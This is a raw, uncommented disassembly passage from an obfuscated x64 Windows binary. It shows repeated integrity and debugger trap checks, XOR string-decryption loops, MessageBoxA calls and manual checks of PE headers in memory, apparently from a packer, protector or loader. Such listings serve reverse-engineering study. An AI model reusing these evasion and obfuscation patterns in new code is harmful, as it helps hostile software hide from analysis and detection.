jne 0x14001a3dd
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
test rsi, rsi
je 0x1400265e6
cmp qword [rbp + 0x10f8], r15
je 0x1400265e6
mov rax, qword gs:[0x56]
cmp rax, rbx
jne 0x14001a4b0
mov rcx, qword gs:[0x5d]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0x5c5c28a
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0xab19a096
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a490
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a490
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a4b0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rdi, qword [rbp + 0x10f8]
lea rcx, [rbp + 0x10e8]
call fcn.140027728
mov rdx, rax
mov r8, rdi
mov rcx, rsi
call fcn.1400af6e0
mov rax, qword gs:[0x56]
cmp rax, rbx
jne 0x14001a57b
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a55b
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a55b
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a57b
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
cmp rax, rbx
jne 0x14001a625
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a605
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a605
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a625
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
xor edx, edx
lea rcx, [rbp + 0x10e8]
call fcn.140027e24
mov rax, qword gs:[0x56]
cmp rax, rbx
jne 0x14001a6dd
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a6bd
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a6bd
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a6dd
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
cmp rax, rbx
jne 0x14001a79c
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0x2c2bb5e7
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0x5c5c28a
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0xab19a096
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a77c
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a77c
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a79c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
movabs rax, 0xaa3266487a0948
mov qword [rsp + 0x70], rax
movabs rax, 0xffecca5938aa0d
mov qword [rbp + 0xf50], rax
mov qword [rbp + 0xfe8], r15
mov r8d, r15d
mov rdi, r15
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xfe8], cl
inc rdi
cmp r8d, 8
jb 0x14001a7c9
mov ebx, r15d
movabs r11, 0x8080808080808081
test r14, r14
je 0x14001a8e2
mov rcx, r15
mov rax, r11
mul r14
mov r8, rdx
shr r8, 7
add r8b, r14b
mov r9, rsi
mov r13, r11
and ecx, 7
movzx edi, byte [rbp + rcx + 0xfe8]
mov r10b, r8b
xor r10b, dil
mov esi, edi
mov ecx, r15d
lea r11, [rbp + 0xfe8]
movzx edi, dil
movzx eax, byte [r11]
add rdi, rax
xor rdi, qword [rbp + 0xfe8]
mov rax, r13
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
inc ecx
inc r11
cmp ecx, 8
jb 0x14001a859
movzx ecx, r10b
add ecx, esi
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
xor dil, byte [r9]
sub dil, cl
mov byte [r9], dil
inc ebx
inc r9
movsxd rcx, ebx
cmp rcx, r14
jb 0x14001a83c
mov rsi, qword [rbp - 0x40]
mov r13d, 0xcc8395cb
movabs r11, 0x8080808080808081
mov rax, qword gs:[0x56]
mov r14d, 0xd745567d
cmp rax, r14
jne 0x14001a992
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a972
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a972
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a992
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x14001aa3c
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001aa1c
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001aa1c
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001aa3c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x14001aae6
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001aac6
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001aac6
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001aae6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rcx, qword gs:[0x56]
mov eax, 0x5a4d
cmp word [rsi], ax
je 0x14001aece
cmp rcx, r14
jne 0x14001abb3
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0x2c2bb5e7
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0x5c5c28a
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0xab19a096
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001ab93
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001ab93
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001abb3
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14008cc28
int3
movdqa xmm0, xmmword [0x1400d7490]
movdqu xmmword [rbp + 0x290], xmm0
mov word [rbp + 0x2a0], 0xef
mov r10, r15
movabs rbx, 0x1825ef714
movabs rsi, 0x8080808080808081
movabs r8, 0x19a84e6854
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x33509cd0a8
movabs r13, 0x1825ef713
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x290], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14001ac07
mov byte [rbp + 0x2a1], r15b
movdqa xmm0, xmmword [0x1400d71f0]
movdqu xmmword [rbp + 0xc58], xmm0
movdqa xmm1, xmmword [0x1400d72b0]
movdqu xmmword [rbp + 0xc68], xmm1
movdqa xmm0, xmmword [0x1400d7230]
movdqu xmmword [rbp + 0xc78], xmm0
mov dword [rbp + 0xc88], 0xb0022fa1
mov dword [rbp + 0xc8c], 0xfcdf44ea
mov dword [rbp + 0xc90], 0x2ab0ec14
mov word [rbp + 0xc94], 0xf6
mov r9, r15
movabs r8, 0x5c10a0dfc4
mov r10d, 0x3d
movabs r11, 0xb82141bf88
mov r13d, 0xcc8395cb
movabs r12, 0x1825ef713
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r12
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc58], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x14001acef
mov byte [rbp + 0xc95], r15b
xor r9d, r9d
lea r8, [rbp + 0x290]
lea rdx, [rbp + 0xc58]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x56]
cmp rax, r14
movabs r12, 0xfee0f20abddaa1c0
jne 0x14001ae20
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001ae00
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001ae00
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001ae20
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x1400268f3
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001aeae
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001aeae
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400268f3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
cmp rcx, r14
jne 0x14001af6f
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001af4f
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001af4f
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001af6f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
movsxd r13, dword [rsi + 0x3c]
add r13, rsi
mov qword [rbp + 0xfe8], r13
mov rax, qword gs:[0x56]
mov edi, 0xab19a096
cmp rax, r14
jne 0x14001b03e
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0x2c2bb5e7
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0x5c5c28a
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b01e
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b01e
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b03e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
mov ecx, 0x20b
cmp word [r13 + 0x18], cx
je 0x14001b411
cmp rax, r14
jne 0x14001b10b
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0x2c2bb5e7
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0x5c5c28a
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b0eb
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b0eb
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b10b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
movdqa xmm0, xmmword [0x1400d7490]
movdqu xmmword [rbp + 0x3c8], xmm0
mov word [rbp + 0x3d8], 0xef
mov r10, r15
movabs rbx, 0x1825ef714
movabs rsi, 0x8080808080808081
movabs r8, 0x19a84e6854
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x33509cd0a8
movabs r13, 0x1825ef713
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3c8], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14001b15f
mov byte [rbp + 0x3d9], r15b
movdqa xmm0, xmmword [0x1400d71f0]
movdqu xmmword [rbp + 0xc98], xmm0
movdqa xmm1, xmmword [0x1400d72a0]
movdqu xmmword [rbp + 0xca8], xmm1
movdqa xmm0, xmmword [0x1400d7230]
movdqu xmmword [rbp + 0xcb8], xmm0
mov dword [rbp + 0xcc8], 0xb0022fa1
mov dword [rbp + 0xccc], 0xfcdf44ea
mov dword [rbp + 0xcd0], 0x2ab0ec14
mov word [rbp + 0xcd4], 0xf6
mov r9, r15
movabs r8, 0x5c10a0dfc4
mov r10d, 0x3d
movabs r11, 0xb82141bf88
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc98], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x14001b237
mov byte [rbp + 0xcd5], r15b
xor r9d, r9d
lea r8, [rbp + 0x3c8]
lea rdx, [rbp + 0xc98]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x14001b363
mov rax, qword gs:[0x5d]
mov ecx, 0xcc8395cb
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b343
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b343
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b363
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x1400268f3
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b3f1
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b3f1
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400268f3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
cmp rax, r14
jne 0x14001b4b7
mov rax, qword gs:[0x5d]
mov ebx, 0xcc8395cb
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b497
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b497
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b4b7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1090], xmm0
mov qword [rbp + 0x10a0], rax
movdqa xmm1, xmmword [0x1400d7240]
movdqu xmmword [rbp + 0x978], xmm1
mov dword [rbp + 0x988], 0x1dde65ae
mov dword [rbp + 0x98c], 0xf1988c62
mov dword [rbp + 0x990], 0x4e4b8dae
mov word [rbp + 0x994], 0x2aeb
mov byte [rbp + 0x996], al
mov r8, r15
movabs rsi, 0x1825ef713
movabs r9, 0x2d4720f458
lea r10d, [rax + 0x1e]
movabs r12, 0x1825ef714
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x978], dil
inc r8
add r9, r12
add r10, 0x1e
movabs rax, 0x5a8e41e8b0
cmp r9, rax
jb 0x14001b52c
mov byte [rbp + 0x996], r15b
lea rax, [rbp + 0x978]
mov qword [rbp + 0x220], rax
movdqa xmm0, xmmword [0x1400d7280]
movdqu xmmword [rbp + 0xad8], xmm0
movdqa xmm1, xmmword [0x1400d7150]
movdqu xmmword [rbp + 0xae8], xmm1
mov r8, r15
movabs rbx, 0x5d92ffd6d8
movabs r9, 0x2ec97feb6c
mov r10d, Ordinal_33
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xad8], dil
inc r8
add r9, r12
add r10, 0x1f
cmp r9, rbx
jb 0x14001b5e5
mov byte [rbp + 0xaf7], r15b
lea rax, [rbp + 0xad8]
mov qword [rbp + 0x228], rax
lea rax, [rbp + 0x220]
mov qword [rbp + 0xf60], rax
lea rax, [rbp + 0x230]
mov qword [rbp + 0xf68], rax
movaps xmm0, xmmword [rbp + 0xf60]
movdqa xmmword [rbp + 0xf60], xmm0
lea r8, [rsp + 0x62]
lea rdx, [rbp + 0xf60]
lea rcx, [rbp + 0x1090]
call fcn.140026900
mov rax, qword gs:[0x56]
cmp rax, r14
mov ebx, 0xcc8395cb
movabs rsi, 0xfee0f20abddaa1c0
jne 0x14001b753
mov rax, qword gs:[0x5d]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b733
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b733
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b753
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x14001b7fd
mov rax, qword gs:[0x5d]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b7dd
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b7dd
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b7fd
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
xor ecx, ecx
call fcn.140091354
mov rcx, rax
call fcn.14008cc34
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x14001b8b6
mov rax, qword gs:[0x5d]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b896
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b896
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b8b6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x14001b960
mov rax, qword gs:[0x5d]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b940
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b940
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b960
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x14001ba0a
mov rax, qword gs:[0x5d]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b9ea
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b9ea
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001ba0a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
mov edi, 0x2c2bb5e7
mov r8d, 0xab19a096
cmp rax, r14
jne 0x14001bacf
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0x5c5c28a
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, r8d
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001baaf
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001baaf
mov rcx, qword gs:[0x5d]
